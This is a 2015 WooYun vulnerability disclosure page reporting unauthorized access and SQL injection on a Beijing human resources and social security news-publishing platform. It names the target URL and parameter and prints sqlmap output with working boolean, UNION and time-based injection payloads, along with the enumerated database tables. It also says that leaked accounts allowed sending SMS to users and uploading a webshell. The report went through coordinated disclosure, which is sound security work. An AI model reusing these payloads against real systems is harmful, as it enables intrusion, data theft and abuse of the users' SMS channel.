当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-094939
漏洞标题：
北京市人力资源和社会保障新闻发布管理平台getshell(影响众多媒体&&推送短信)
相关厂商：
北京市人力资源和社会保障网
漏洞作者：
jianFen
提交时间：
2015-02-02 10:07
修复时间：
2015-03-19 10:08
公开时间：
2015-03-19 10:08
漏洞类型：
成功的入侵事件
危害等级：
高
自评Rank：
20
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-02-02： 细节已通知厂商并且等待厂商处理中
2015-02-06： 厂商已经确认，细节仅向厂商公开
2015-02-16： 细节向核心白帽子及相关领域专家公开
2015-02-26： 细节向普通白帽子公开
2015-03-08： 细节向实习白帽子公开
2015-03-19： 细节向公众公开

简要描述：

飞过

详细说明：

首先未授权访问就可以直接进系统
这里是注入点（sqlmap扫起）
http://pingtai.885hr.com/pageurl.php?url=25842

sqlmap identified the following injection points with a total of 24 HTTP(s) requests:
---
Place: GET
Parameter: url
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: url=25842 AND 9582=9582
    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: url=25842 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6c72763a,0x6e6c514f4c4f79664276,0x3a7572783a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: url=25842 AND SLEEP(5)
available databases [4]:
[*] information_schema
[*] mysql
[*] phprencai
[*] test
Database: phprencai
[23 tables]
+------------------------+
| admin                  |
| digipaper_article_maps |
| digipaper_articles     |
| digipaper_comments     |
| digipaper_constants    |
| digipaper_guanggao     |
| digipaper_pages        |
| digipaper_subscribers  |
| group_user_list        |
| jiaose                 |
| lanmu                  |
| meitidanwei            |
| message                |
| message_user           |
| newfile                |
| phone_book             |
| phone_book_group       |
| pinglun                |
| send_list              |
| sms_list               |
| sms_type               |
| user_group             |
| yuqing                 |
+------------------------+


爆出了各大新闻杂志社和县区的帐号
贴出部分帐号

2.JPG


登入 内部信息

4.JPG


7.JPG


推送短信给用户

5JPG.JPG


6.png


getshell
抓包改包即可 是一次验证

3.JPG


8.JPG

漏洞证明：

推送短信给用户

6.png


shell

8.JPG

修复方案：

sql注入和未授权访问

版权声明：转载请注明来源 jianFen@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-02-06 09:30

厂商回复：

CNVD确认并复现所述情况，已经由CNVD通过网站公开联系方式（或以往建立的处置渠道）向网站管理单位（软件生产厂商）通报。

最新状态：

暂无